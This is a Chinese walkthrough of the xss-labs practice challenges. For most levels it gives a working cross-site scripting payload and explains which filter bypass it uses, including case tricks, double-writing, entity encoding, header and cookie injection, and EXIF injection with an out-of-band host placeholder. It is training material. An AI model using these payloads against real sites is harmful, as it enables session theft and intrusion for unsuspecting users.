level 01
xsslabs/level1.php?name=<script>alert(document.cookie)</script>
level 02
xsslabs/level2.php?keyword="><script>alert(document.cookie)</script>
level 03
已做 htmlspecialchars 将特殊字符:&<>'"
转换为 HTML 实体,但默认不过滤单引号xsslabs/level3.php?keyword=' onclick='alert(document.cookie)'
经测试无法复现,因为:value='
被强制转为 value="
,php 版本太高 8.1.2
使用 fofa 上找到的靶场:https://xuanluansec.top/ 成功复现
level 04
和 03 差不多,比 03 更简单,去掉实体编码了xsslabs/level4.php?keyword=" onclick="alert(document.cookie)
level 05
输入的 keyword 对 on 和 script 做了替换,没找到非 on 开头的事件,放弃使用 input 标签
发现没有对特殊字符转换,可以闭合 input 构造新标签实现 xssxsslabs/level5.php?keyword="><a href="javascript:alert(/xss/)">alert</a><"
level 06
输入的 keyword 使用 str_replace 对 on/<script/href/src/data
替换为中间下划线
str_replace:区分大小写且不循环替换,使用大小写绕过:xsslabs/level6.php?keyword="><a HrEf="javascript:alert(/xss/)">alert</a><"
level 07
输入的 keyword 转为小写,使用 str_replace 对 on/script/href/src/data 替换为空
这里使用双写,即可绕过:xsslabs/level7.php?keyword="><a hrhrefef="javascrscriptipt:alert(/xss/)">alert</a><"
level 08
输入的 keyword 转为小写,使用 str_replace 对 on/script/href/src/data 替换为中间下划线
HTML 实体编码在 HTML 页面会被解析而在后端看不到,所以采取实体编码 javascript:alert(/xss/)
:javascript:alert(/xss/)
level 09
与 08 类似,仅多了校验是否存在 http://,alert 一个即可 javascript:alert("http://")
:javascript:alert("http://")
level 10
前端源码中存在三个隐藏标签,其中第三个生效:&t_sort=" onclick="javascript:alert(/xss/)" type="text
level 11
同 10,不过 xss 位置位于 Referer:Referer: " onclick="javascript:alert(/xss/)" type="text
level 12
同 10,不过 xss 位置位于 User-Agent:User-Agent: " onclick="javascript:alert(/xss/)" type="text
level 13
同 10,但位于 Cookie[user]:Cookie: user=" onclick="javascript:alert(/xss/)" type="text
level 14
其包含的网站已经挂了,引起 xss 的原理为:
当网站读取图片 exif 中的恶意 payload 显示在网页中时,触发 payload 构成 xss。
找到两个网站:https://exif.tools/ https://jimpl.com/
第一个可以触发漏洞,第二个无法触发。修改 level14.php 为第一个。
然后使用 exiftool 写入 exiftool -artist='"<img src=//oob.vps.ip:8808 onclick=alert(/xss/)>' exif.jpg
level 15
看到 src 最后作用到了 <!-- -->
之间,但尝试 xss 失败。
AngularJS ng-include 指令可以将 HTML 页面包含在当前页面中,可以将 level10 页面包含进来:level15.php?src=%27level10.php?t_sort=%22%20onclick=alert(/xss/)%20type=%22text%22%20%3E%3C%20%27
level 16
输入的 keyword 转为小写,使用 str_replace 对 空格,/,script,tab 做了替换
尝试用: 
和 %0A 以及 HTML 等编码替换,发现 %0A 可以level16.php?keyword=<svg%0Aonclick=alert(1)>
level 17-20
关于 Flash 的,略过
https://cloud.tencent.com/developer/beta/article/1746740